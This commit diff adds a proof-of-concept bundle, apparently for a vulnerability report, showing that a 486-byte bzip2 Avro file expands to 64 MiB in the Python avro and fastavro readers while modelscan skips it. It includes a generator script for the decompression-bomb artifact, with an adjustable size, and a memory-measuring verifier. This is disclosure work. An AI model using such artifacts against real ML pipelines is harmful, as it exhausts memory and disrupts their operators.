Add benign Apache Avro parser-DoS PoC bundle

README.md

@@ -0,0 +1,28 @@
+# Apache Avro benign parser-DoS PoC
+
+This PoC demonstrates a scanner/runtime mismatch for Avro artifacts in ML-adjacent pipelines:
+
+- `modelscan` does not treat `.avro` as a supported model file type and skips it.
+- Python `avro` and `fastavro` fully decompress an Avro object-container block before yielding the first record.
+- A small compressed `.avro` file can therefore trigger disproportionate memory and CPU work when used for ML dataset shards, metadata bundles, or checkpoint-adjacent binary blobs.
+
+## Files
+
+- `generate_poc.py` - builds a benign `.avro` artifact with a highly compressible `tensor_bytes` payload
+- `verifier.py` - reads the artifact with both Python runtimes, captures working-set deltas, and records `modelscan` output
+- `artifacts/avro_bzip2_dos.avro` - staged benign artifact
+- `results/results.json` - summarized run output
+
+## Reproduce
+
+```powershell
+cd C:\Users\Pragnyan\dev\huntr-exp1\avro
+.\.venv\Scripts\python.exe .\hf_avro_poc\generate_poc.py
+.\.venv\Scripts\python.exe .\hf_avro_poc\verifier.py
+```
+
+## Expected outcome
+
+- Artifact size is tiny relative to the uncompressed payload.
+- Both readers report `tensor_bytes_len` equal to the large embedded payload.
+- `modelscan` reports the file as skipped or unsupported, leaving the runtime behavior unanalyzed.

SHA256SUMS.txt

@@ -0,0 +1 @@
+ce4aa3f5829c42070a1ac7421881d56724149e720edb2d97325a9d3ae8a5ee71  artifacts/avro_bzip2_dos.avro

VERSIONS.md

@@ -0,0 +1,7 @@
+# Versions
+
+- Python: 3.12.12
+- Apache Avro (Python): 1.12.1
+- fastavro: 1.12.2
+- modelscan: 0.8.8
+- Verification date: 2026-05-12

generate_poc.py

@@ -0,0 +1,68 @@
+import argparse
+import hashlib
+import json
+from pathlib import Path
+
+import avro.io
+import avro.schema
+from avro.datafile import DataFileWriter
+
+
+SCHEMA_JSON = {
+    "type": "record",
+    "name": "ModelShard",
+    "namespace": "org.example.ml",
+    "fields": [
+        {"name": "tensor_name", "type": "string"},
+        {"name": "tensor_bytes", "type": "bytes"},
+        {"name": "notes", "type": "string"},
+    ],
+}
+
+
+def sha256_file(path: Path) -> str:
+    h = hashlib.sha256()
+    with path.open("rb") as handle:
+        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
+            h.update(chunk)
+    return h.hexdigest()
+
+
+ROOT = Path(__file__).resolve().parent
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description="Generate a benign Avro decompression-DoS PoC artifact.")
+    parser.add_argument("--output", default=str(ROOT / "artifacts" / "avro_bzip2_dos.avro"))
+    parser.add_argument("--size-mib", type=int, default=64)
+    parser.add_argument("--codec", default="bzip2")
+    args = parser.parse_args()
+
+    out_path = Path(args.output)
+    out_path.parent.mkdir(parents=True, exist_ok=True)
+
+    payload = b"A" * (args.size_mib * 1024 * 1024)
+    schema = avro.schema.parse(json.dumps(SCHEMA_JSON))
+    datum = {
+        "tensor_name": "dense.weight",
+        "tensor_bytes": payload,
+        "notes": "Benign PoC: repetitive bytes to demonstrate block decompression before first record yield.",
+    }
+
+    with out_path.open("wb") as handle:
+        writer = DataFileWriter(handle, avro.io.DatumWriter(), schema, codec=args.codec)
+        writer.append(datum)
+        writer.close()
+
+    info = {
+        "artifact": str(out_path),
+        "codec": args.codec,
+        "payload_bytes": len(payload),
+        "artifact_bytes": out_path.stat().st_size,
+        "sha256": sha256_file(out_path),
+    }
+    print(json.dumps(info, indent=2))
+
+
+if __name__ == "__main__":
+    main()

results/modelscan_report.json

@@ -0,0 +1 @@
+{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:52:23.702491", "scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 1, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "avro_bzip2_dos.avro"}]}}, "issues": [], "errors": []}

results/modelscan_stdout.txt

@@ -0,0 +1,12 @@
+No settings file detected at C:\Users\Pragnyan\dev\huntr-exp1\avro\modelscan-settings.toml. Using defaults. 
+
+{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, 
+"CRITICAL": 0}, "total_issues": 0, "input_path": 
+"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2
+_dos.avro", "absolute_path": 
+"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts", 
+"modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:52:23.702491", 
+"scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 1, 
+"skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan
+did not scan file", "source": "avro_bzip2_dos.avro"}]}}, "issues": [], 
+"errors": []}

results/results.json

@@ -0,0 +1,81 @@
+{
+  "artifact": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
+  "artifact_bytes": 486,
+  "artifact_sha256": "ce4aa3f5829c42070a1ac7421881d56724149e720edb2d97325a9d3ae8a5ee71",
+  "payload_bytes": 67108864,
+  "compression_ratio": 138084.08,
+  "versions": {
+    "python": "3.12.12 (main, Oct 28 2025, 14:15:42) [MSC v.1944 64 bit (AMD64)]",
+    "avro": "1.12.1",
+    "fastavro": "1.12.2"
+  },
+  "results": {
+    "avro": {
+      "library": "avro",
+      "elapsed_seconds": 0.2747,
+      "working_set_before": 22327296,
+      "working_set_after": 157544448,
+      "peak_working_set": 161169408,
+      "pagefile_after": 149045248,
+      "tensor_name": "dense.weight",
+      "tensor_bytes_len": 67108864
+    },
+    "fastavro": {
+      "library": "fastavro",
+      "elapsed_seconds": 0.2783,
+      "working_set_before": 22315008,
+      "working_set_after": 89837568,
+      "peak_working_set": 160251904,
+      "pagefile_after": 80330752,
+      "tensor_name": "dense.weight",
+      "tensor_bytes_len": 67108864
+    }
+  },
+  "modelscan": {
+    "command": [
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\.venv\\Scripts\\modelscan.exe",
+      "scan",
+      "-p",
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
+      "--show-skipped",
+      "-r",
+      "json",
+      "-o",
+      "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\results\\modelscan_report.json"
+    ],
+    "returncode": 3,
+    "stdout": "No settings file detected at C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\modelscan-settings.toml. Using defaults. \n\n{\"summary\": {\"total_issues_by_severity\": {\"LOW\": 0, \"MEDIUM\": 0, \"HIGH\": 0, \n\"CRITICAL\": 0}, \"total_issues\": 0, \"input_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\avro\\\\hf_avro_poc\\\\artifacts\\\\avro_bzip2\n_dos.avro\", \"absolute_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\avro\\\\hf_avro_poc\\\\artifacts\", \n\"modelscan_version\": \"0.8.8\", \"timestamp\": \"2026-05-12T12:52:23.702491\", \n\"scanned\": {\"total_scanned\": 0}, \"skipped\": {\"total_skipped\": 1, \n\"skipped_files\": [{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan\ndid not scan file\", \"source\": \"avro_bzip2_dos.avro\"}]}}, \"issues\": [], \n\"errors\": []}\n",
+    "stderr": "",
+    "report_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\results\\modelscan_report.json",
+    "report": {
+      "summary": {
+        "total_issues_by_severity": {
+          "LOW": 0,
+          "MEDIUM": 0,
+          "HIGH": 0,
+          "CRITICAL": 0
+        },
+        "total_issues": 0,
+        "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
+        "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts",
+        "modelscan_version": "0.8.8",
+        "timestamp": "2026-05-12T12:52:23.702491",
+        "scanned": {
+          "total_scanned": 0
+        },
+        "skipped": {
+          "total_skipped": 1,
+          "skipped_files": [
+            {
+              "category": "SCAN_NOT_SUPPORTED",
+              "description": "Model Scan did not scan file",
+              "source": "avro_bzip2_dos.avro"
+            }
+          ]
+        }
+      },
+      "issues": [],
+      "errors": []
+    }
+  }
+}

verifier.py

@@ -0,0 +1,187 @@
+import argparse
+import ctypes
+from ctypes import wintypes
+import gc
+import hashlib
+import json
+import os
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+import avro
+import fastavro
+
+
+ROOT = Path(__file__).resolve().parent
+ARTIFACT = ROOT / "artifacts" / "avro_bzip2_dos.avro"
+RESULTS_DIR = ROOT / "results"
+GENERATOR = ROOT / "generate_poc.py"
+
+
+class PROCESS_MEMORY_COUNTERS(ctypes.Structure):
+    _fields_ = [
+        ("cb", wintypes.DWORD),
+        ("PageFaultCount", wintypes.DWORD),
+        ("PeakWorkingSetSize", ctypes.c_size_t),
+        ("WorkingSetSize", ctypes.c_size_t),
+        ("QuotaPeakPagedPoolUsage", ctypes.c_size_t),
+        ("QuotaPagedPoolUsage", ctypes.c_size_t),
+        ("QuotaPeakNonPagedPoolUsage", ctypes.c_size_t),
+        ("QuotaNonPagedPoolUsage", ctypes.c_size_t),
+        ("PagefileUsage", ctypes.c_size_t),
+        ("PeakPagefileUsage", ctypes.c_size_t),
+    ]
+
+
+def working_set() -> dict[str, int]:
+    get_process_memory_info = ctypes.windll.psapi.GetProcessMemoryInfo
+    get_process_memory_info.argtypes = [wintypes.HANDLE, ctypes.POINTER(PROCESS_MEMORY_COUNTERS), wintypes.DWORD]
+    get_process_memory_info.restype = wintypes.BOOL
+    counters = PROCESS_MEMORY_COUNTERS()
+    counters.cb = ctypes.sizeof(PROCESS_MEMORY_COUNTERS)
+    ok = get_process_memory_info(
+        ctypes.windll.kernel32.GetCurrentProcess(),
+        ctypes.byref(counters),
+        counters.cb,
+    )
+    if not ok:
+        raise ctypes.WinError()
+    return {
+        "working_set": int(counters.WorkingSetSize),
+        "peak_working_set": int(counters.PeakWorkingSetSize),
+        "pagefile": int(counters.PagefileUsage),
+    }
+
+
+def sha256_file(path: Path) -> str:
+    h = hashlib.sha256()
+    with path.open("rb") as handle:
+        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
+            h.update(chunk)
+    return h.hexdigest()
+
+
+def run_child(library: str) -> dict:
+    cmd = [sys.executable, str(Path(__file__).resolve()), "--child", library, "--artifact", str(ARTIFACT)]
+    proc = subprocess.run(cmd, capture_output=True, text=True, check=True)
+    return json.loads(proc.stdout)
+
+
+def child_main(library: str, artifact: Path) -> None:
+    gc.collect()
+    before = working_set()
+    t0 = time.perf_counter()
+
+    if library == "avro":
+        import avro.io
+        from avro.datafile import DataFileReader
+
+        with artifact.open("rb") as handle:
+            reader = DataFileReader(handle, avro.io.DatumReader())
+            record = next(iter(reader))
+            reader.close()
+    elif library == "fastavro":
+        with artifact.open("rb") as handle:
+            record = next(fastavro.reader(handle))
+    else:
+        raise SystemExit(f"unknown library: {library}")
+
+    elapsed = time.perf_counter() - t0
+    after = working_set()
+    result = {
+        "library": library,
+        "elapsed_seconds": round(elapsed, 4),
+        "working_set_before": before["working_set"],
+        "working_set_after": after["working_set"],
+        "peak_working_set": after["peak_working_set"],
+        "pagefile_after": after["pagefile"],
+        "tensor_name": record["tensor_name"],
+        "tensor_bytes_len": len(record["tensor_bytes"]),
+    }
+    print(json.dumps(result))
+
+
+def run_modelscan(artifact: Path) -> dict:
+    report_path = RESULTS_DIR / "modelscan_report.json"
+    cmd = [
+        str(ROOT.parent / ".venv" / "Scripts" / "modelscan.exe"),
+        "scan",
+        "-p",
+        str(artifact),
+        "--show-skipped",
+        "-r",
+        "json",
+        "-o",
+        str(report_path),
+    ]
+    proc = subprocess.run(cmd, capture_output=True, text=True)
+    report = None
+    if report_path.exists():
+        report = json.loads(report_path.read_text(encoding="utf-8"))
+    raw = {
+        "command": cmd,
+        "returncode": proc.returncode,
+        "stdout": proc.stdout,
+        "stderr": proc.stderr,
+        "report_path": str(report_path),
+        "report": report,
+    }
+    return raw
+
+
+def ensure_artifact() -> None:
+    if ARTIFACT.exists():
+        return
+    subprocess.run(
+        [sys.executable, str(GENERATOR), "--output", str(ARTIFACT)],
+        cwd=str(ROOT),
+        check=True,
+    )
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description="Verify the Avro benign DoS PoC.")
+    parser.add_argument("--child", choices=["avro", "fastavro"])
+    parser.add_argument("--artifact", default=str(ARTIFACT))
+    args = parser.parse_args()
+
+    artifact = Path(args.artifact)
+    if args.child:
+        child_main(args.child, artifact)
+        return
+
+    RESULTS_DIR.mkdir(parents=True, exist_ok=True)
+    ensure_artifact()
+
+    avro_result = run_child("avro")
+    fastavro_result = run_child("fastavro")
+    modelscan_result = run_modelscan(artifact)
+
+    summary = {
+        "artifact": str(artifact),
+        "artifact_bytes": artifact.stat().st_size,
+        "artifact_sha256": sha256_file(artifact),
+        "payload_bytes": avro_result["tensor_bytes_len"],
+        "compression_ratio": round(avro_result["tensor_bytes_len"] / artifact.stat().st_size, 2),
+        "versions": {
+            "python": sys.version,
+            "avro": avro.__version__,
+            "fastavro": fastavro.__version__,
+        },
+        "results": {
+            "avro": avro_result,
+            "fastavro": fastavro_result,
+        },
+        "modelscan": modelscan_result,
+    }
+
+    (RESULTS_DIR / "results.json").write_text(json.dumps(summary, indent=2), encoding="utf-8")
+    (RESULTS_DIR / "modelscan_stdout.txt").write_text(modelscan_result["stdout"], encoding="utf-8")
+    (RESULTS_DIR / "modelscan_stderr.txt").write_text(modelscan_result["stderr"], encoding="utf-8")
+    print(json.dumps(summary, indent=2))
+
+
+if __name__ == "__main__":
+    main()